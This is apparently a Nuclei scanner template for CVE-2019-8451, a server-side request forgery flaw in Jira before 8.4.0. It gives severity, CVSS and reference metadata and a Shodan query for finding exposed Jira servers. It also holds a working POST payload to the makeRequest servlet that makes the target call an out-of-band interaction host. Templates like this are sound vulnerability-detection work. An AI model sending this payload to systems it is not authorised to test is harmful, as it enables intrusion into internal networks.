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id : CVE-2019-8451
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info :
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name : Jira <8.4.0 - Server-Side Request Forgery
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author : TechbrunchFR
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severity : medium
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description : Jira before 8.4.0 is susceptible to server-side request forgery. The /plugins/servlet/gadgets/makeRequest resource contains a logic bug in the JiraWhitelist class, which can allow an attacker to access the content of internal network resources and thus modify data, and/or execute unauthorized operations.
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impact : |
Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.
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remediation : |
Upgrade Jira to version 8.4.0 or later to mitigate the SSRF vulnerability.
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reference :
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- https://www.tenable.com/blog/cve-2019-8451-proof-of-concept-available-for-server-side-request-forgery-ssrf-vulnerability-in
- https://jira.atlassian.com/browse/JRASERVER-69793
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- https://hackerone.com/reports/713900
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- https://nvd.nist.gov/vuln/detail/CVE-2019-8451
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
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cvss-score : 6.5
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cve-id : CVE-2019-8451
cwe-id : CWE-918
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epss-score : 0.97115
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epss-percentile : 0.99743
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cpe : cpe:2.3:a:atlassian:jira_server:*:*:*:*:*:*:*:*
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metadata :
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max-request : 1
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vendor : atlassian
product : jira_server
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shodan-query : http.component:"Atlassian Jira"
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tags : cve,cve2019,atlassian,jira,ssrf,oast,tenable,hackerone
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http :
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- method : POST
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path :
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- '{{BaseURL}}/plugins/servlet/gadgets/makeRequest'
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body : |
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url=https://{{Host}}:443@{{interactsh-url}}
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headers :
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X-Atlassian-Token : no -check
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Content-Type : application/x-www-form-urlencoded
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matchers :
- type : word
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part : interactsh_protocol
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words :
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- "http" # Confirms the HTTP Interaction
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# digest: 4a0a004730450220764590a492d24ce72803badb59e5016a18605cb3c23191c0882222fb006a4f88022100ae56e85361108a0e4efab3d3111646ff4b08c361aaf186332da32dc8d7c01c6d:922c64590222798bb761d5b6d8e72950
